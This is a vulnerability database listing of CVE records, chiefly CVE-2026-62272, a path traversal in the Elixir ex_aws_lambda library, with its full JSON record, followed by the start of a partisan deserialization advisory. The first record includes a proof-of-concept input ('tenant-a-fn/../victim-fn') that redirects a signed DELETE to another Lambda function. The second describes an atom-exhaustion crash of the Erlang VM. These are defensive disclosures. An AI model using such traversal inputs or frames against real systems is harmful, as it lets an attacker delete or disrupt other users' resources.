Search

Find a vulnerability

Search criteria ⓘ Use this form to refine search results.
Full-text search supports keyword queries with ranking and filtering.
You can combine vendor, product, and sources to narrow results.
Enable “Apply ordering” to sort by date instead of relevance.

    444 vulnerabilities

    CVE-2026-62272 (GCVE-0-2026-62272)

    Vulnerability from cvelistv5 – Published: 2026-11-26 13:10 – Updated: 2026-11-26 13:10
    VLAI
    Title
    ex_aws_lambda relative path traversal via unencoded identifiers in ExAws.Lambda request paths
    Summary
    Relative Path Traversal vulnerability in ex-aws ex_aws_lambda (ExAws.Lambda module) allows an attacker to redirect an AWS Lambda control-plane request at an unintended resource by injecting path traversal sequences into a caller-supplied identifier. This vulnerability is associated with program file lib/ex_aws/lambda.ex and program routines ExAws.Lambda.add_permission/5, ExAws.Lambda.delete_event_source_mapping/1, ExAws.Lambda.delete_function/1, ExAws.Lambda.get_event_source_mapping/1, ExAws.Lambda.get_function/1, ExAws.Lambda.get_function_configuration/1, ExAws.Lambda.get_policy/1, ExAws.Lambda.invoke/4, ExAws.Lambda.invoke_async/2, ExAws.Lambda.remove_permission/2, ExAws.Lambda.update_event_source_mapping/2, ExAws.Lambda.update_function_code/2, ExAws.Lambda.update_function_configuration/2. ExAws.Lambda builds every request path by interpolating caller-supplied identifiers (function names, ARNs, UUIDs, statement IDs) directly into the URL with plain string interpolation, without percent-encoding or validation. The shared request helper only encodes query parameters, never the path, so path metacharacters such as / and .. reach the wire unchanged. An application that passes an untrusted or user-influenced identifier into an ExAws.Lambda operation can therefore have its request steered at a different Lambda resource: a ../ segment climbs out of the intended /2015-03-31/functions/<name> slot and, once the .. is normalized by the HTTP client or the AWS endpoint, addresses a sibling function in the same account. The signed credentials and the HTTP method are unchanged, so the request still succeeds against the wrong resource. Affected operations include function deletion, invocation, configuration updates, and permission changes. Applications that only pass hardcoded or strictly validated identifiers are not affected. This issue affects ex_aws_lambda: from 2.0.1 before 2.2.0.
    CWE
    • CWE-23 - Relative Path Traversal
    Assigner
    EEF CNA under the mitre root
    CNA scorecard A 97/100 over 376 records in the last 180 days details
    Impacted products
    Vendor Product Version
    ex-aws ex_aws_lambda Affected: 2.0.1 , < 2.2.0 (semver)
        cpe:2.3:a:ex-aws:ex_aws_lambda:*:*:*:*:*:*:*:*
    Create a notification for this product.
    ex-aws ex_aws_lambda Affected: c961161df71bc778a26bbb14718b5b7153296575 , < 72a565cd6bd583f59cbb303c819b8b30e98c2e5c (git)
        cpe:2.3:a:ex-aws:ex_aws_lambda:*:*:*:*:*:*:*:*
    Create a notification for this product.
    Date Public
    2026-11-26 13:10
    Show details on NVD website

    {
      "containers": {
        "cna": {
          "affected": [
            {
              "collectionURL": "https://repo.hex.pm",
              "cpes": [
                "cpe:2.3:a:ex-aws:ex_aws_lambda:*:*:*:*:*:*:*:*"
              ],
              "defaultStatus": "unaffected",
              "modules": [
                "\u0027Elixir.ExAws.Lambda\u0027"
              ],
              "packageName": "ex_aws_lambda",
              "packageURL": "pkg:hex/ex_aws_lambda",
              "product": "ex_aws_lambda",
              "programFiles": [
                "lib/ex_aws/lambda.ex"
              ],
              "programRoutines": [
                {
                  "name": "\u0027Elixir.ExAws.Lambda\u0027:add_permission/5"
                },
                {
                  "name": "\u0027Elixir.ExAws.Lambda\u0027:delete_event_source_mapping/1"
                },
                {
                  "name": "\u0027Elixir.ExAws.Lambda\u0027:delete_function/1"
                },
                {
                  "name": "\u0027Elixir.ExAws.Lambda\u0027:get_event_source_mapping/1"
                },
                {
                  "name": "\u0027Elixir.ExAws.Lambda\u0027:get_function/1"
                },
                {
                  "name": "\u0027Elixir.ExAws.Lambda\u0027:get_function_configuration/1"
                },
                {
                  "name": "\u0027Elixir.ExAws.Lambda\u0027:get_policy/1"
                },
                {
                  "name": "\u0027Elixir.ExAws.Lambda\u0027:invoke/4"
                },
                {
                  "name": "\u0027Elixir.ExAws.Lambda\u0027:invoke_async/2"
                },
                {
                  "name": "\u0027Elixir.ExAws.Lambda\u0027:remove_permission/2"
                },
                {
                  "name": "\u0027Elixir.ExAws.Lambda\u0027:update_event_source_mapping/2"
                },
                {
                  "name": "\u0027Elixir.ExAws.Lambda\u0027:update_function_code/2"
                },
                {
                  "name": "\u0027Elixir.ExAws.Lambda\u0027:update_function_configuration/2"
                }
              ],
              "repo": "https://github.com/ex-aws/ex_aws_lambda",
              "vendor": "ex-aws",
              "versions": [
                {
                  "lessThan": "2.2.0",
                  "status": "affected",
                  "version": "2.0.1",
                  "versionType": "semver"
                }
              ]
            },
            {
              "collectionURL": "https://github.com",
              "cpes": [
                "cpe:2.3:a:ex-aws:ex_aws_lambda:*:*:*:*:*:*:*:*"
              ],
              "defaultStatus": "unaffected",
              "modules": [
                "\u0027Elixir.ExAws.Lambda\u0027"
              ],
              "packageName": "ex-aws/ex_aws_lambda",
              "packageURL": "pkg:github/ex-aws/ex_aws_lambda",
              "product": "ex_aws_lambda",
              "programFiles": [
                "lib/ex_aws/lambda.ex"
              ],
              "programRoutines": [
                {
                  "name": "\u0027Elixir.ExAws.Lambda\u0027:add_permission/5"
                },
                {
                  "name": "\u0027Elixir.ExAws.Lambda\u0027:delete_event_source_mapping/1"
                },
                {
                  "name": "\u0027Elixir.ExAws.Lambda\u0027:delete_function/1"
                },
                {
                  "name": "\u0027Elixir.ExAws.Lambda\u0027:get_event_source_mapping/1"
                },
                {
                  "name": "\u0027Elixir.ExAws.Lambda\u0027:get_function/1"
                },
                {
                  "name": "\u0027Elixir.ExAws.Lambda\u0027:get_function_configuration/1"
                },
                {
                  "name": "\u0027Elixir.ExAws.Lambda\u0027:get_policy/1"
                },
                {
                  "name": "\u0027Elixir.ExAws.Lambda\u0027:invoke/4"
                },
                {
                  "name": "\u0027Elixir.ExAws.Lambda\u0027:invoke_async/2"
                },
                {
                  "name": "\u0027Elixir.ExAws.Lambda\u0027:remove_permission/2"
                },
                {
                  "name": "\u0027Elixir.ExAws.Lambda\u0027:update_event_source_mapping/2"
                },
                {
                  "name": "\u0027Elixir.ExAws.Lambda\u0027:update_function_code/2"
                },
                {
                  "name": "\u0027Elixir.ExAws.Lambda\u0027:update_function_configuration/2"
                }
              ],
              "repo": "https://github.com/ex-aws/ex_aws_lambda",
              "vendor": "ex-aws",
              "versions": [
                {
                  "lessThan": "72a565cd6bd583f59cbb303c819b8b30e98c2e5c",
                  "status": "affected",
                  "version": "c961161df71bc778a26bbb14718b5b7153296575",
                  "versionType": "git"
                }
              ]
            }
          ],
          "configurations": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003cp\u003eThe affected application must pass an untrusted or user-influenced identifier (function name, ARN, UUID, source mapping UUID, or statement ID) into an \u003ccode\u003eExAws.Lambda\u003c/code\u003e operation without first validating it against the AWS Lambda name and ARN character set. Exploitation additionally depends on the configured HTTP client or the AWS endpoint normalizing \u003ccode\u003e..\u003c/code\u003e path segments before routing. Applications that only ever pass hardcoded or strictly validated identifiers are not affected.\u003c/p\u003e"
                },
                {
                  "base64": false,
                  "type": "text/markdown",
                  "value": "The affected application must pass an untrusted or user-influenced identifier (function name, ARN, UUID, source mapping UUID, or statement ID) into an `ExAws.Lambda` operation without first validating it against the AWS Lambda name and ARN character set. Exploitation additionally depends on the configured HTTP client or the AWS endpoint normalizing `..` path segments before routing. Applications that only ever pass hardcoded or strictly validated identifiers are not affected."
                }
              ],
              "value": "The affected application must pass an untrusted or user-influenced identifier (function name, ARN, UUID, source mapping UUID, or statement ID) into an ExAws.Lambda operation without first validating it against the AWS Lambda name and ARN character set. Exploitation additionally depends on the configured HTTP client or the AWS endpoint normalizing .. path segments before routing. Applications that only ever pass hardcoded or strictly validated identifiers are not affected."
            }
          ],
          "cpeApplicability": [
            {
              "nodes": [
                {
                  "cpeMatch": [
                    {
                      "criteria": "cpe:2.3:a:ex-aws:ex_aws_lambda:*:*:*:*:*:*:*:*",
                      "versionEndExcluding": "2.2.0",
                      "versionStartIncluding": "2.0.1",
                      "vulnerable": true
                    }
                  ],
                  "negate": false,
                  "operator": "OR"
                }
              ],
              "operator": "AND"
            }
          ],
          "credits": [
            {
              "lang": "en",
              "type": "finder",
              "value": "Peter Ullrich"
            },
            {
              "lang": "en",
              "type": "reporter",
              "value": "Peter Ullrich"
            },
            {
              "lang": "en",
              "type": "analyst",
              "value": "Jonatan M\u00e4nnchen / EEF"
            },
            {
              "lang": "en",
              "type": "coordinator",
              "value": "Peter Ullrich"
            },
            {
              "lang": "en",
              "type": "remediation developer",
              "value": "Bernard Duggan"
            }
          ],
          "datePublic": "2026-11-26T13:10:10.000Z",
          "descriptions": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003cp\u003eRelative Path Traversal vulnerability in ex-aws ex_aws_lambda (\u003ccode\u003eExAws.Lambda\u003c/code\u003e module) allows an attacker to redirect an AWS Lambda control-plane request at an unintended resource by injecting path traversal sequences into a caller-supplied identifier.\u003c/p\u003e\n\u003cp\u003eThis vulnerability is associated with program file \u003ccode\u003elib/ex_aws/lambda.ex\u003c/code\u003e and program routines \u003ccode\u003eExAws.Lambda.add_permission/5\u003c/code\u003e, \u003ccode\u003eExAws.Lambda.delete_event_source_mapping/1\u003c/code\u003e, \u003ccode\u003eExAws.Lambda.delete_function/1\u003c/code\u003e, \u003ccode\u003eExAws.Lambda.get_event_source_mapping/1\u003c/code\u003e, \u003ccode\u003eExAws.Lambda.get_function/1\u003c/code\u003e, \u003ccode\u003eExAws.Lambda.get_function_configuration/1\u003c/code\u003e, \u003ccode\u003eExAws.Lambda.get_policy/1\u003c/code\u003e, \u003ccode\u003eExAws.Lambda.invoke/4\u003c/code\u003e, \u003ccode\u003eExAws.Lambda.invoke_async/2\u003c/code\u003e, \u003ccode\u003eExAws.Lambda.remove_permission/2\u003c/code\u003e, \u003ccode\u003eExAws.Lambda.update_event_source_mapping/2\u003c/code\u003e, \u003ccode\u003eExAws.Lambda.update_function_code/2\u003c/code\u003e, \u003ccode\u003eExAws.Lambda.update_function_configuration/2\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003eExAws.Lambda\u003c/code\u003e builds every request path by interpolating caller-supplied identifiers (function names, ARNs, UUIDs, statement IDs) directly into the URL with plain string interpolation, without percent-encoding or validation. The shared request helper only encodes query parameters, never the path, so path metacharacters such as \u003ccode\u003e/\u003c/code\u003e and \u003ccode\u003e..\u003c/code\u003e reach the wire unchanged. An application that passes an untrusted or user-influenced identifier into an \u003ccode\u003eExAws.Lambda\u003c/code\u003e operation can therefore have its request steered at a different Lambda resource: a \u003ccode\u003e../\u003c/code\u003e segment climbs out of the intended \u003ccode\u003e/2015-03-31/functions/\u0026lt;name\u0026gt;\u003c/code\u003e slot and, once the \u003ccode\u003e..\u003c/code\u003e is normalized by the HTTP client or the AWS endpoint, addresses a sibling function in the same account. The signed credentials and the HTTP method are unchanged, so the request still succeeds against the wrong resource. Affected operations include function deletion, invocation, configuration updates, and permission changes. Applications that only pass hardcoded or strictly validated identifiers are not affected.\u003c/p\u003e\n\u003cp\u003eThis issue affects ex_aws_lambda: from 2.0.1 before 2.2.0.\u003c/p\u003e"
                },
                {
                  "base64": false,
                  "type": "text/markdown",
                  "value": "Relative Path Traversal vulnerability in ex-aws ex_aws_lambda (`ExAws.Lambda` module) allows an attacker to redirect an AWS Lambda control-plane request at an unintended resource by injecting path traversal sequences into a caller-supplied identifier.\n\nThis vulnerability is associated with program file `lib/ex_aws/lambda.ex` and program routines `ExAws.Lambda.add_permission/5`, `ExAws.Lambda.delete_event_source_mapping/1`, `ExAws.Lambda.delete_function/1`, `ExAws.Lambda.get_event_source_mapping/1`, `ExAws.Lambda.get_function/1`, `ExAws.Lambda.get_function_configuration/1`, `ExAws.Lambda.get_policy/1`, `ExAws.Lambda.invoke/4`, `ExAws.Lambda.invoke_async/2`, `ExAws.Lambda.remove_permission/2`, `ExAws.Lambda.update_event_source_mapping/2`, `ExAws.Lambda.update_function_code/2`, `ExAws.Lambda.update_function_configuration/2`.\n\n`ExAws.Lambda` builds every request path by interpolating caller-supplied identifiers (function names, ARNs, UUIDs, statement IDs) directly into the URL with plain string interpolation, without percent-encoding or validation. The shared request helper only encodes query parameters, never the path, so path metacharacters such as `/` and `..` reach the wire unchanged. An application that passes an untrusted or user-influenced identifier into an `ExAws.Lambda` operation can therefore have its request steered at a different Lambda resource: a `../` segment climbs out of the intended `/2015-03-31/functions/\u003cname\u003e` slot and, once the `..` is normalized by the HTTP client or the AWS endpoint, addresses a sibling function in the same account. The signed credentials and the HTTP method are unchanged, so the request still succeeds against the wrong resource. Affected operations include function deletion, invocation, configuration updates, and permission changes. Applications that only pass hardcoded or strictly validated identifiers are not affected.\n\nThis issue affects ex_aws_lambda: from 2.0.1 before 2.2.0."
                }
              ],
              "value": "Relative Path Traversal vulnerability in ex-aws ex_aws_lambda (ExAws.Lambda module) allows an attacker to redirect an AWS Lambda control-plane request at an unintended resource by injecting path traversal sequences into a caller-supplied identifier.\n\nThis vulnerability is associated with program file lib/ex_aws/lambda.ex and program routines ExAws.Lambda.add_permission/5, ExAws.Lambda.delete_event_source_mapping/1, ExAws.Lambda.delete_function/1, ExAws.Lambda.get_event_source_mapping/1, ExAws.Lambda.get_function/1, ExAws.Lambda.get_function_configuration/1, ExAws.Lambda.get_policy/1, ExAws.Lambda.invoke/4, ExAws.Lambda.invoke_async/2, ExAws.Lambda.remove_permission/2, ExAws.Lambda.update_event_source_mapping/2, ExAws.Lambda.update_function_code/2, ExAws.Lambda.update_function_configuration/2.\n\nExAws.Lambda builds every request path by interpolating caller-supplied identifiers (function names, ARNs, UUIDs, statement IDs) directly into the URL with plain string interpolation, without percent-encoding or validation. The shared request helper only encodes query parameters, never the path, so path metacharacters such as / and .. reach the wire unchanged. An application that passes an untrusted or user-influenced identifier into an ExAws.Lambda operation can therefore have its request steered at a different Lambda resource: a ../ segment climbs out of the intended /2015-03-31/functions/\u003cname\u003e slot and, once the .. is normalized by the HTTP client or the AWS endpoint, addresses a sibling function in the same account. The signed credentials and the HTTP method are unchanged, so the request still succeeds against the wrong resource. Affected operations include function deletion, invocation, configuration updates, and permission changes. Applications that only pass hardcoded or strictly validated identifiers are not affected.\n\nThis issue affects ex_aws_lambda: from 2.0.1 before 2.2.0."
            }
          ],
          "impacts": [
            {
              "capecId": "CAPEC-139",
              "descriptions": [
                {
                  "lang": "en",
                  "supportingMedia": [
                    {
                      "base64": false,
                      "type": "text/html",
                      "value": "\u003cp\u003eThis is an input-validation / path-injection issue in request construction. It affects any application using \u003ccode\u003eex_aws_lambda\u003c/code\u003e that passes user- or tenant-supplied identifiers (\u003ccode\u003efunction_name\u003c/code\u003e, \u003ccode\u003efunction_arn\u003c/code\u003e, \u003ccode\u003euuid\u003c/code\u003e, \u003ccode\u003esource_mapping_uuid\u003c/code\u003e, \u003ccode\u003estatement_id\u003c/code\u003e) into \u003ccode\u003eExAws.Lambda\u003c/code\u003e operations without sanitizing them first, typically apps that expose Lambda management behind an HTTP boundary. The consequence is cross-resource action: a control-plane call (delete, invoke, update configuration, add/remove permission) executed against a Lambda function other than the intended one, within the same account and credentials. Applications that only ever pass hardcoded or strictly validated names are unaffected.\u003c/p\u003e"
                    },
                    {
                      "base64": false,
                      "type": "text/markdown",
                      "value": "This is an input-validation / path-injection issue in request construction. It affects any application using `ex_aws_lambda` that passes user- or tenant-supplied identifiers (`function_name`, `function_arn`, `uuid`, `source_mapping_uuid`, `statement_id`) into `ExAws.Lambda` operations without sanitizing them first, typically apps that expose Lambda management behind an HTTP boundary. The consequence is cross-resource action: a control-plane call (delete, invoke, update configuration, add/remove permission) executed against a Lambda function other than the intended one, within the same account and credentials. Applications that only ever pass hardcoded or strictly validated names are unaffected."
                    }
                  ],
                  "value": "This is an input-validation / path-injection issue in request construction. It affects any application using ex_aws_lambda that passes user- or tenant-supplied identifiers (function_name, function_arn, uuid, source_mapping_uuid, statement_id) into ExAws.Lambda operations without sanitizing them first, typically apps that expose Lambda management behind an HTTP boundary. The consequence is cross-resource action: a control-plane call (delete, invoke, update configuration, add/remove permission) executed against a Lambda function other than the intended one, within the same account and credentials. Applications that only ever pass hardcoded or strictly validated names are unaffected."
                }
              ]
            }
          ],
          "metrics": [
            {
              "cvssV4_0": {
                "Automatable": "NOT_DEFINED",
                "Recovery": "NOT_DEFINED",
                "Safety": "NOT_DEFINED",
                "attackComplexity": "LOW",
                "attackRequirements": "PRESENT",
                "attackVector": "LOCAL",
                "baseScore": 2,
                "baseSeverity": "LOW",
                "privilegesRequired": "LOW",
                "providerUrgency": "NOT_DEFINED",
                "subAvailabilityImpact": "LOW",
                "subConfidentialityImpact": "NONE",
                "subIntegrityImpact": "LOW",
                "userInteraction": "NONE",
                "valueDensity": "NOT_DEFINED",
                "vectorString": "CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:L/VA:L/SC:N/SI:L/SA:L",
                "version": "4.0",
                "vulnAvailabilityImpact": "LOW",
                "vulnConfidentialityImpact": "NONE",
                "vulnIntegrityImpact": "LOW",
                "vulnerabilityResponseEffort": "NOT_DEFINED"
              },
              "format": "CVSS",
              "scenarios": [
                {
                  "lang": "en",
                  "value": "GENERAL"
                }
              ]
            }
          ],
          "problemTypes": [
            {
              "descriptions": [
                {
                  "cweId": "CWE-23",
                  "description": "CWE-23 Relative Path Traversal",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2026-11-26T13:10:11.240Z",
            "orgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
            "shortName": "EEF"
          },
          "references": [
            {
              "tags": [
                "vendor-advisory",
                "related"
              ],
              "url": "https://github.com/ex-aws/ex_aws_lambda/security/advisories/GHSA-rxg9-76jv-f68p"
            },
            {
              "name": "EEF CNA record for CVE-2026-62272",
              "tags": [
                "related"
              ],
              "url": "https://cna.erlef.org/cves/CVE-2026-62272.html"
            },
            {
              "name": "OSV record EEF-CVE-2026-62272",
              "tags": [
                "related"
              ],
              "url": "https://osv.dev/vulnerability/EEF-CVE-2026-62272"
            },
            {
              "name": "Introducing commit c961161 in ex-aws/ex_aws_lambda",
              "tags": [
                "related"
              ],
              "url": "https://github.com/ex-aws/ex_aws_lambda/commit/c961161df71bc778a26bbb14718b5b7153296575"
            },
            {
              "name": "Fix commit 72a565c in ex-aws/ex_aws_lambda",
              "tags": [
                "patch"
              ],
              "url": "https://github.com/ex-aws/ex_aws_lambda/commit/72a565cd6bd583f59cbb303c819b8b30e98c2e5c"
            }
          ],
          "source": {
            "discovery": "EXTERNAL"
          },
          "title": "ex_aws_lambda relative path traversal via unencoded identifiers in ExAws.Lambda request paths",
          "workarounds": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003cp\u003eValidate each caller-supplied identifier against AWS Lambda\u0027s permitted name and ARN character set before passing it to an \u003ccode\u003eExAws.Lambda\u003c/code\u003e operation, or percent-encode each identifier segment (for example \u003ccode\u003eURI.encode(segment, \u0026amp;URI.char_unreserved?/1)\u003c/code\u003e) so that path metacharacters cannot alter the request path.\u003c/p\u003e"
                },
                {
                  "base64": false,
                  "type": "text/markdown",
                  "value": "Validate each caller-supplied identifier against AWS Lambda\u0027s permitted name and ARN character set before passing it to an `ExAws.Lambda` operation, or percent-encode each identifier segment (for example `URI.encode(segment, \u0026URI.char_unreserved?/1)`) so that path metacharacters cannot alter the request path."
                }
              ],
              "value": "Validate each caller-supplied identifier against AWS Lambda\u0027s permitted name and ARN character set before passing it to an ExAws.Lambda operation, or percent-encode each identifier segment (for example URI.encode(segment, \u0026URI.char_unreserved?/1)) so that path metacharacters cannot alter the request path."
            }
          ],
          "x_proofOfConcept": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003col\u003e\n\u003cli\u003eAn application lets a user delete their own Lambda function by name and passes the name to \u003ccode\u003eExAws.Lambda.delete_function/1 |\u0026gt; ExAws.request()\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eThe application intends to delete \u003ccode\u003etenant-a-fn\u003c/code\u003e; the attacker supplies the name \u003ccode\u003etenant-a-fn/../victim-fn\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003edelete_function/1\u003c/code\u003e interpolates it into \u003ccode\u003e/2015-03-31/functions/tenant-a-fn/../victim-fn\u003c/code\u003e, and \u003ccode\u003erequest/6\u003c/code\u003e leaves the path untouched.\u003c/li\u003e\n\u003cli\u003eThe signed \u003ccode\u003eDELETE\u003c/code\u003e request goes out with the literal \u003ccode\u003e/../\u003c/code\u003e in its path.\u003c/li\u003e\n\u003cli\u003eOnce the \u003ccode\u003e..\u003c/code\u003e is normalized, the request addresses \u003ccode\u003e/2015-03-31/functions/victim-fn\u003c/code\u003e and deletes a function other than the intended one.\u003c/li\u003e\n\u003c/ol\u003e"
                },
                {
                  "base64": false,
                  "type": "text/markdown",
                  "value": "1. An application lets a user delete their own Lambda function by name and passes the name to `ExAws.Lambda.delete_function/1 |\u003e ExAws.request()`.\n2. The application intends to delete `tenant-a-fn`; the attacker supplies the name `tenant-a-fn/../victim-fn`.\n3. `delete_function/1` interpolates it into `/2015-03-31/functions/tenant-a-fn/../victim-fn`, and `request/6` leaves the path untouched.\n4. The signed `DELETE` request goes out with the literal `/../` in its path.\n5. Once the `..` is normalized, the request addresses `/2015-03-31/functions/victim-fn` and deletes a function other than the intended one."
                }
              ],
              "value": "* An application lets a user delete their own Lambda function by name and passes the name to ExAws.Lambda.delete_function/1 |\u003e ExAws.request().\n* The application intends to delete tenant-a-fn; the attacker supplies the name tenant-a-fn/../victim-fn.\n* delete_function/1 interpolates it into /2015-03-31/functions/tenant-a-fn/../victim-fn, and request/6 leaves the path untouched.\n* The signed DELETE request goes out with the literal /../ in its path.\n* Once the .. is normalized, the request addresses /2015-03-31/functions/victim-fn and deletes a function other than the intended one."
            }
          ],
          "x_technicalAnalysis": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003cp\u003e\u003cstrong\u003e1. Path construction.\u003c/strong\u003e Every operation in \u003ccode\u003elib/ex_aws/lambda.ex\u003c/code\u003e builds its request path by interpolating a caller-supplied identifier (\u003ccode\u003efunction_name\u003c/code\u003e, \u003ccode\u003efunction_arn\u003c/code\u003e, \u003ccode\u003euuid\u003c/code\u003e, \u003ccode\u003esource_mapping_uuid\u003c/code\u003e or \u003ccode\u003estatement_id\u003c/code\u003e) into a string, for example \u003ccode\u003e\"/2015-03-31/functions/#{function_name}\"\u003c/code\u003e in \u003ccode\u003edelete_function/1\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e2. No encoding.\u003c/strong\u003e The shared \u003ccode\u003erequest/6\u003c/code\u003e helper encodes only the query parameters and passes the path through to the operation verbatim, and no identifier is checked against Lambda\u0027s name and ARN character set. Path metacharacters such as \u003ccode\u003e/\u003c/code\u003e, \u003ccode\u003e..\u003c/code\u003e, \u003ccode\u003e?\u003c/code\u003e and \u003ccode\u003e#\u003c/code\u003e reach the wire unchanged.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e3. Redirected request.\u003c/strong\u003e A \u003ccode\u003e..\u003c/code\u003e segment climbs out of the intended \u003ccode\u003e/2015-03-31/functions/\u0026lt;name\u0026gt;\u003c/code\u003e slot. Once the HTTP client or the AWS endpoint normalizes it, the request addresses a sibling resource. The HTTP method and the signed credentials are unchanged, so the delete, invoke, configuration update or permission change succeeds against the wrong function in the same account.\u003c/p\u003e"
                },
                {
                  "base64": false,
                  "type": "text/markdown",
                  "value": "**1. Path construction.** Every operation in `lib/ex_aws/lambda.ex` builds its request path by interpolating a caller-supplied identifier (`function_name`, `function_arn`, `uuid`, `source_mapping_uuid` or `statement_id`) into a string, for example `\"/2015-03-31/functions/#{function_name}\"` in `delete_function/1`.\n\n**2. No encoding.** The shared `request/6` helper encodes only the query parameters and passes the path through to the operation verbatim, and no identifier is checked against Lambda\u0027s name and ARN character set. Path metacharacters such as `/`, `..`, `?` and `#` reach the wire unchanged.\n\n**3. Redirected request.** A `..` segment climbs out of the intended `/2015-03-31/functions/\u003cname\u003e` slot. Once the HTTP client or the AWS endpoint normalizes it, the request addresses a sibling resource. The HTTP method and the signed credentials are unchanged, so the delete, invoke, configuration update or permission change succeeds against the wrong function in the same account."
                }
              ],
              "value": "1. Path construction. Every operation in lib/ex_aws/lambda.ex builds its request path by interpolating a caller-supplied identifier (function_name, function_arn, uuid, source_mapping_uuid or statement_id) into a string, for example \"/2015-03-31/functions/#{function_name}\" in delete_function/1.\n\n2. No encoding. The shared request/6 helper encodes only the query parameters and passes the path through to the operation verbatim, and no identifier is checked against Lambda\u0027s name and ARN character set. Path metacharacters such as /, .., ? and # reach the wire unchanged.\n\n3. Redirected request. A .. segment climbs out of the intended /2015-03-31/functions/\u003cname\u003e slot. Once the HTTP client or the AWS endpoint normalizes it, the request addresses a sibling resource. The HTTP method and the signed credentials are unchanged, so the delete, invoke, configuration update or permission change succeeds against the wrong function in the same account."
            }
          ]
        }
      },
      "cveMetadata": {
        "assignerOrgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
        "assignerShortName": "EEF",
        "cveId": "CVE-2026-62272",
        "datePublished": "2026-11-26T13:10:11.240Z",
        "dateReserved": "2026-07-13T18:06:12.918Z",
        "dateUpdated": "2026-11-26T13:10:11.240Z",
        "state": "PUBLISHED"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }

    CVE-2026-118898 (GCVE-0-2026-118898)

    Vulnerability from cvelistv5 – Published: 2026-11-25 04:42 – Updated: 2026-11-25 04:42
    VLAI
    Title
    partisan decodes peer-plane frames with binary_to_term before authentication, allowing a remote VM abort
    Summary
    Deserialization of Untrusted Data vulnerability in lasp-lang partisan allows an unauthenticated remote attacker to abort the Erlang VM of a node via Excessive Allocation. partisan_peer_service_server:handle_info/2 decodes every frame that arrives on the peer listener with binary_to_term/1, without the safe option, before handle_inbound/2 interprets the message and before any peer authentication takes place. TLS is off by default and the listener accepts connections from any host, so one frame that names more atoms than the atom table holds aborts the VM. partisan_peer_service_client:handle_info/2 decodes frames from the server side of a connection the same way. The decode also materializes funs, ports and references the frame encodes and inflates compressed terms. The demonstrated impact is denial of service. partisan does not invoke decoded funs, so code execution was not shown. This issue affects partisan: from 3.0.0 before 6.4.0.
    CWE
    • CWE-502 - Deserialization of Untrusted Data
    Assigner
    EEF CNA under the mitre root
    CNA scorecard A 97/100 over 376 records in the last 180 days details
    Impacted products
    Vendor Product Version
    lasp-lang partisan Affected: 3.0.0 , < 6.4.0 (semver)
        cpe:2.3:a:lasp-lang:partisan:*:*:*:*:*:*:*:*
    Create a notification for this product.
    lasp-lang partisan Affected: 04314463df1d3cb213c7a07beb60bf7af3389dfc , < 5c75b3368620ef9f7f07af5e7f70ade95030fe92 (git)
        cpe:2.3:a:lasp-lang:partisan:*:*:*:*:*:*:*:*
    Create a notification for this product.
    Date Public
    2026-11-24 18:07
    Show details on NVD website

    {
      "containers": {
        "cna": {
          "affected": [
            {
              "collectionURL": "https://repo.hex.pm",
              "cpes": [
                "cpe:2.3:a:lasp-lang:partisan:*:*:*:*:*:*:*:*"
              ],
              "defaultStatus": "unaffected",
              "modules": [
                "partisan_peer_service_server",
                "partisan_peer_service_client"
              ],
              "packageName": "partisan",
              "packageURL": "pkg:hex/partisan",
              "product": "partisan",
              "programFiles": [
                "src/partisan_peer_service_server.erl",
                "src/partisan_peer_service_client.erl"
              ],
              "programRoutines": [
                {
                  "name": "partisan_peer_service_server:handle_info/2"
                },
                {
                  "name": "partisan_peer_service_client:handle_info/2"
                }
              ],
              "repo": "https://github.com/lasp-lang/partisan",
              "vendor": "lasp-lang",
              "versions": [
                {
                  "lessThan": "6.4.0",
                  "status": "affected",
                  "version": "3.0.0",
                  "versionType": "semver"
                }
              ]
            },
            {
              "collectionURL": "https://github.com",
              "cpes": [
                "cpe:2.3:a:lasp-lang:partisan:*:*:*:*:*:*:*:*"
              ],
              "defaultStatus": "unaffected",
              "modules": [
                "partisan_peer_service_server",
                "partisan_peer_service_client"
              ],
              "packageName": "lasp-lang/partisan",
              "packageURL": "pkg:github/lasp-lang/partisan",
              "product": "partisan",
              "programFiles": [
                "src/partisan_peer_service_server.erl",
                "src/partisan_peer_service_client.erl"
              ],
              "programRoutines": [
                {
                  "name": "partisan_peer_service_server:handle_info/2"
                },
                {
                  "name": "partisan_peer_service_client:handle_info/2"
                }
              ],
              "repo": "https://github.com/lasp-lang/partisan",
              "vendor": "lasp-lang",
              "versions": [
                {
                  "lessThan": "5c75b3368620ef9f7f07af5e7f70ade95030fe92",
                  "status": "affected",
                  "version": "04314463df1d3cb213c7a07beb60bf7af3389dfc",
                  "versionType": "git"
                }
              ]
            }
          ],
          "cpeApplicability": [
            {
              "nodes": [
                {
                  "cpeMatch": [
                    {
                      "criteria": "cpe:2.3:a:lasp-lang:partisan:*:*:*:*:*:*:*:*",
                      "versionEndExcluding": "6.4.0",
                      "versionStartIncluding": "3.0.0",
                      "vulnerable": true
                    }
                  ],
                  "negate": false,
                  "operator": "OR"
                }
              ],
              "operator": "AND"
            }
          ],
          "credits": [
            {
              "lang": "en",
              "type": "finder",
              "value": "Quinn Wilton"
            },
            {
              "lang": "en",
              "type": "reporter",
              "value": "Quinn Wilton"
            },
            {
              "lang": "en",
              "type": "coordinator",
              "value": "Jonatan M\u00e4nnchen / EEF"
            },
            {
              "lang": "en",
              "type": "remediation developer",
              "value": "Alejandro M. Ramallo / Leapsight"
            }
